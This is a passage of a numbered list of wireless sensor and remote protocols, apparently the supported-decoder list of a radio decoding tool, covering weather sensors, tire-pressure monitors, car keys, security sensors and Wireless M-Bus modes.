[42] HIDEKI TS04 Temperature, Humidity, Wind and Rain Sensor
[43] Watchman Sonic / Apollo Ultrasonic / Beckett Rocket oil tank monitor
[44] CurrentCost Current Sensor
[45] emonTx OpenEnergyMonitor
[46] HT680 Remote control
[47] Conrad S3318P, FreeTec NC-5849-913 temperature humidity sensor
[48] Akhan 100F14 remote keyless entry
[49] Quhwa
[50] OSv1 Temperature Sensor
[51] Proove / Nexa / KlikAanKlikUit Wireless Switch
[52] Bresser Thermo-/Hygro-Sensor 3CH
[53] Springfield Temperature and Soil Moisture
[54] Oregon Scientific SL109H Remote Thermal Hygro Sensor
[55] Acurite 606TX Temperature Sensor
[56] TFA pool temperature sensor
[57] Kedsum Temperature & Humidity Sensor, Pearl NC-7415
[58] Blyss DC5-UK-WH
[59] Steelmate TPMS
[60] Schrader TPMS
[61]* LightwaveRF
[62]* Elro DB286A Doorbell
[63] Efergy Optical
[64]* Honda Car Key
[67] Radiohead ASK
[68] Kerui PIR / Contact Sensor
[69] Fine Offset WH1050 Weather Station
[70] Honeywell Door/Window Sensor, 2Gig DW10/DW11, RE208 repeater
[71] Maverick ET-732/733 BBQ Sensor
[72]* RF-tech
[73] LaCrosse TX141-Bv2, TX141TH-Bv2, TX141-Bv3, TX141W, TX145wsdth sensor
[74] Acurite 00275rm,00276rm Temp/Humidity with optional probe
[75] LaCrosse TX35DTH-IT, TFA Dostmann 30.3155 Temperature/Humidity sensor
[76] LaCrosse TX29IT, TFA Dostmann 30.3159.IT Temperature sensor
[77] Vaillant calorMatic VRT340f Central Heating Control
[78] Fine Offset Electronics, WH25, WH32B, WH24, WH65B, HP1000 Temperature/Humidity/Pressure Sensor
[79] Fine Offset Electronics, WH0530 Temperature/Rain Sensor
[80] IBIS beacon
[81] Oil Ultrasonic STANDARD FSK
[82] Citroen TPMS
[83] Oil Ultrasonic STANDARD ASK
[84] Thermopro TP11 Thermometer
[85] Solight TE44/TE66, EMOS E0107T, NX-6876-917
[86] Wireless Smoke and Heat Detector GS 558
[87] Generic wireless motion sensor
[88] Toyota TPMS
[89] Ford TPMS
[90] Renau lt TPMS
[91] inFactory, nor-tec, FreeTec NC-3982-913 temperature humidity sensor
[92] FT-004-B Temperature Sensor
[93] Ford Car Key
[94] Philips outdoor temperature sensor (type AJ3650)
[95] Schrader TPMS EG53MA4, PA66GF35
[96] Nexa
[97] Thermopro TP08/TP12/TP20 thermometer
[98] GE Color Effects
[99] X10 Security
[100] Interlogix GE UTC Security Devices
[101]* Dish remote 6.3
[102] SimpliSafe Home Security System (May require disabling automatic gain for KeyPad decodes)
[103] Sensible Living Mini-Plant Moisture Sensor
[104] Wireless M-Bus, Mode C&T, 100kbps (-f 868950000 -s 1200000)
[105] Wireless M-Bus, Mode S, 32.768kbps (-f 868300000 -s 1000000)
[106]* Wireless M-Bus, Mode R, 4.8kbps (-f 868330000)
[107]* Wireless M-Bus, Mode F, 2.4kbps
[108] Hyundai WS SENZOR Remote Temperature Sensor
[109] WT0124 Pool Thermom eter
[110] PMV-107J (Toyota) TPMS
[111] Emos TTX201 Temperature Sensor